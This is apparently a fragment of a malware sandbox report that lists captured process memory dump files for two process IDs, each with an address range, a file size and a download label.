memory/4868-6-0x0000000006250000-0x00000000062B6000-memory.dmp

Filesize
408KB

Download
memory/4868-16-0x00000000063C0000-0x0000000006714000-memory.dmp

Filesize
3.3MB

Download
memory/4868-4-0x0000000005910000-0x0000000005932000-memory.dmp

Filesize
136KB

Download
memory/4868-18-0x0000000006900000-0x000000000694C000-memory.dmp

Filesize
304KB

Download
memory/4868-0-0x0000000070BBE000-0x0000000070BBF000-memory.dmp

Filesize
4KB

Download
memory/4868-79-0x0000000070BB0000-0x0000000071360000-memory.dmp

Filesize
7.7MB

Download
memory/4868-17-0x00000000068B0000-0x00000000068CE000-memory.dmp

Filesize
120KB

Download
memory/4868-65-0x0000000008E90000-0x0000000009434000-memory.dmp

Filesize
5.6MB

Download
memory/4868-64-0x0000000008140000-0x0000000008162000-memory.dmp

Filesize
136KB

Download
memory/4868-3-0x0000000070BB0000-0x0000000071360000-memory.dmp

Filesize
7.7MB

Download
memory/4868-2-0x0000000005B40000-0x0000000006168000-memory.dmp

Filesize
6.2MB

Download
memory/4868-34-0x0000000070BB0000-0x0000000071360000-memory.dmp

Filesize
7.7MB

Download
memory/4868-35-0x0000000008260000-0x00000000088DA000-memory.dmp

Filesize
6.5MB

Download
memory/4868-63-0x0000000070BB0000-0x0000000071360000-memory.dmp

Filesize
7.7MB

Download
memory/4868-36-0x0000000007C20000-0x0000000007C3A000-memory.dmp

Filesize
104KB

Download
memory/4868-5-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/4868-56-0x0000000007E80000-0x0000000007E88000-memory.dmp

Filesize
32KB

Download
memory/4868-19-0x0000000006EB0000-0x0000000006EE2000-memory.dmp

Filesize
200KB

Download
memory/4868-20-0x000000006D470000-0x000000006D4BC000-memory.dmp

Filesize
304KB

Download
memory/4868-22-0x000000006D5D0000-0x000000006D924000-memory.dmp

Filesize
3.3MB

Download
memory/4868-1-0x00000000032E0000-0x0000000003316000-memory.dmp

Filesize
216KB

Download
memory/4868-21-0x0000000070BB0000-0x0000000071360000-memory.dmp

Filesize
7.7MB

Download
memory/4868-32-0x0000000006E90000-0x0000000006EAE000-memory.dmp

Filesize
120KB

Download
memory/4868-43-0x0000000007E80000-0x0000000007E88000-memory.dmp

Filesize
32KB

Download
memory/4868-42-0x0000000007E90000-0x0000000007EAA000-memory.dmp

Filesize
104KB

Download
memory/4868-41-0x0000000007E50000-0x0000000007E64000-memory.dmp

Filesize
80KB

Download
memory/4868-40-0x0000000007E40000-0x0000000007E4E000-memory.dmp

Filesize
56KB

Download
memory/4868-39-0x0000000007E10000-0x0000000007E21000-memory.dmp

Filesize
68KB

Download
memory/4868-38-0x0000000007EB0000-0x0000000007F46000-memory.dmp

Filesize
600KB

Download
memory/4868-37-0x0000000007C90000-0x0000000007C9A000-memory.dmp

Filesize
40KB

Download
memory/4920-158-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4920-154-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4920-150-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download